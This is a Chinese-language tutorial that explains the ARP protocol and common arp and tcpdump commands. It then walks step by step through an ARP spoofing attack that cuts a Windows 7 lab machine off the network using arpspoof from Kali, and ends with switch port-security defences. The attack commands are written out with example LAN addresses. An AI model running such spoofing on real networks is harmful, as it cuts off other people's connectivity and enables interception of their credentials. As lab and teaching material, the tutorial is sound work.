ARP学习及断网攻击

1.什么是ARP

ARP（Address Resolution Protocol）是一种用于在IPv4网络中将IP地址映射到MAC地址的协议。在计算机网络中，每个网络接口都有一个唯一的MAC地址（Media Access Control address），用于识别网络设备。

而IP地址（Internet Protocol address）则是用于标识网络上设备的逻辑地址。ARP协议的作用就是在这两种地址之间建立映射关系，以便计算机能够正确地将IP地址转换为MAC地址，从而实现数据包的正确传输。

2.ARP工作原理

当一个设备需要发送数据到一个具有特定IP地址的设备时，它会首先发送一个ARP请求广播，询问该IP地址对应的MAC地址是什么，而拥有该IP地址的设备会回复一个包含自己MAC地址的ARP响应。这样，发送设备就能获得目标设备的MAC地址，进而将数据包发送到正确的目标。

3.ARP协议（Address Resolution Protocol）

主要作用是在局域网中解析网络层的IP地址到链路层的MAC地址。这个协议对于网络通信是非常关键的，因为虽然IP地址用于网络层的通信，但实际的数据帧在物理网络上是通过MAC地址进行传输的。

地址映射：ARP允许设备发现局域网内其他设备的物理地址。当一个设备知道另一个设备的IP地址但不知道其MAC地址时，它会使用ARP来获取对应的MAC地址。
数据包传输：在发送数据包时，网络设备需要知道目标设备的MAC地址以便将数据包正确地发送到该设备。ARP通过提供这一地址转换，使得数据包能够在局域网内正确传递。
网络通信的桥接：ARP协议帮助不同网络协议（如IPv4）与物理网络（如以太网）之间进行桥接，使得使用不同技术的网络设备可以互相通信。
缓存机制：设备通常会在一个本地缓存中存储ARP响应，称为ARP缓存。这样，它们可以在需要时快速查找已知的IP到MAC的映射，减少网络上的ARP请求，从而提高网络效率。
网络配置与故障排除：ARP还可以用来帮助网络管理员监控和配置网络，例如，通过观察ARP流量来检测网络上的配置错误或冲突。

哈哈哈，搞复杂了，其实很简单，用一句话总结就是：当设备需要将IP地址转换为MAC地址时，ARP协议就派上用场。它通过询问局域网内其他设备，获取目标设备的MAC地址，以确保数据包能够正确传输。这里借用小菜学编程的一张图比较清晰：

4.ARP常用命令

查询arp表：

复制代码
 arp -a   

2.删除表内某个IP

复制代码

arp -d IP

3.tcp抓某块网卡的所有arp请求

复制代码

tcpdump -i eth0 -nn arp

4.tcp抓取指定ip的请求

复制代码

  tcpdump -i eth0 -nn arp  and host IP

5.ARP断网攻击

原理：

向目标主机不断的发送ARP报文，然后将其报文中的网关Mac地址设置成为攻击机的主机MAC地址，然后目标主机想要访问网络发送数据包时，都会发送到攻击机，然后攻击机只需要做一个丢弃数据包的命令，就可以断掉目标主机的网络了。

准备工作：

两台虚拟机，一台kali作为攻击方，另一台win7作为被攻击方
需要注意的时，两台主机需要在同一个局域网，并且网络通畅。

工具介绍：

arpspoof [spuːf] 是一个好用的ARP欺骗工具，攻击者通过毒化受害者ARP缓存，将网关MAC替换为攻击者MAC，然后攻击者可截获受害者发送和收到的数据包，从而获取受害者账户、密码等相关敏感信息。Kali linux中自带了该工具。

命令使用讲解

复制代码

arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
-i：指定网卡
-c:攻击机的IP
-t 目标机器的IP
-r：网关IP

具体步骤：

1.1查看kali的ip：

复制代码
ip a

1.2 查看windows的ip：

复制代码
ipconfig /all

1.3 windows ping kali:

复制代码
ping kali——ip

1.4 win7 查看arp表，记录网关的信息

复制代码
arp -a |findstr 网关

2.kali进行断网攻击

复制代码

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12
-i:指定网卡
-r:指定网关ip
-t:指定靶机ip

3.win7 查看网络连接和 kali 的网络链接

复制代码
ping www.baidu.com

4.win7查看此时的arp表

复制代码

arp -a 
或者
arp -a |findstr 网关

5.结束断网攻击

复制代码
ctrl+C

6.win7重新查看网络状态

复制代码
ping www.baidu.com

7.win10重新查看arp表

复制代码
arp -a |findstr 网关

总结与防御：

ARP（地址解析协议）断网攻击通常是通过发送伪造的ARP消息来进行的，目的是改变局域网内其他设备的ARP缓存，使流量被错误地发送到攻击者的设备上，从而进行中间人攻击或导致网络中断。这种攻击称为ARP欺骗或ARP缓存投毒。以下是一些防范ARP断网攻击的策略：

从原理上来看，如果你发现了端口上有多个MAC地址，那基本就很明显了，

使用高新的交换机支持端口安全特性，可以限制连接到特定物理端口的MAC地址数量。通过这种方式，如果检测到端口上有多个MAC地址，则可以配置交换机自动关闭该端口，防止可能的ARP攻击。